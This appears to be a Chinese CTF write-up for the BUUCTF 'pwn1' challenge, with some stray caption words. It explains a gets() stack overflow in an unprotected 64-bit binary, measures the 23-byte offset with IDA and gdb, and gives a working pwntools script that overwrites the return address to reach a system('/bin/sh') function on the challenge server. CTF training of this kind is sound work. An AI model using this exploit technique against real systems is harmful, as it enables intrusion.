Buuctf pwn1 詳細wp

程序基本信息

咱們能夠看到這是一個64程序,沒有保護開啓。linux

程序溢出點

gets函數能夠讀取無限字符,存在棧溢出。
接下來咱們測測須要多少字符長度能夠溢出。
咱們能夠直接從ida上看到
shell

變量s在棧上[bp-Fh]位置,也就是說咱們只能輸入(Fh + 8)(覆蓋rbp須要8個字節)的字節就能覆蓋到棧底rbp,緊跟棧底的即是返回地址,咱們能夠接上一個咱們想要程序跳轉到的地址。
固然ida顯示大部分狀況下棧偏移都是沒問題的,但也有例外,因此最好手測一下溢出長度。
ida和gdb均可以測溢出長度,這裏我介紹gdb的方法。
首先生成50個每4個字符都是獨一無二的字符串
架構

而後用gdb調試程序並把該字符串輸入
函數

咱們看到程序運行到ret發生了錯誤
3d

此時棧上的狀況
調試

咱們能夠看到,rsp處原本應該是返回地址,如今已經被咱們輸入的字符串覆蓋了。
因爲程序是小端法,因此agaa就在0x7fffffffe108處,咱們只要知道agaa前有多少字符便可。
code

因爲cyclic生成的字符串每四個字符都是惟一的,因此只要咱們-l命令輸入四個字符,它就能測算出這四個字符前有幾個字符。(一個字符佔一字節)
能夠看到結果爲23 = ida顯示的Fh + 8blog

肯定返回地址

如今咱們已經能夠成功劫持rip到咱們想要的運行地址,哪要跳轉到哪裏才能pwn掉程序呢?
咱們發現程序有一個函數fun()
ip

執行了system("/bin/sh"),/bin/sh是一個軟鏈接,它指向某一個shell,因此這個命令會開啓一個shell,將rip劫持到這裏,咱們就能成功pwn掉程序。

編寫exp腳本

直接附上exp

/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)   #初始化上下文環境,主要是系統、架構和讀取超時時間

io = remote('pwn.buuoj.cn', 6001)   #此處的IP地址和端口須要根據目標修改

system_addr = 0x401186  #函數fun()的地址

payload = ''                    
payload += 'A'*23           #使用23個任意字符填充
payload += p64(system_addr) #返回地址覆蓋爲fun函數的地址,當主程序運行完返回時便會跳轉到fun()函數並執行

io.sendline(payload)            #向程序輸入payload,注意使用sendline()或者send()的數據末尾加上回車'\n'
io.interactive()

成功getshell

運行腳本成功得到flag

相關文章
相關標籤/搜索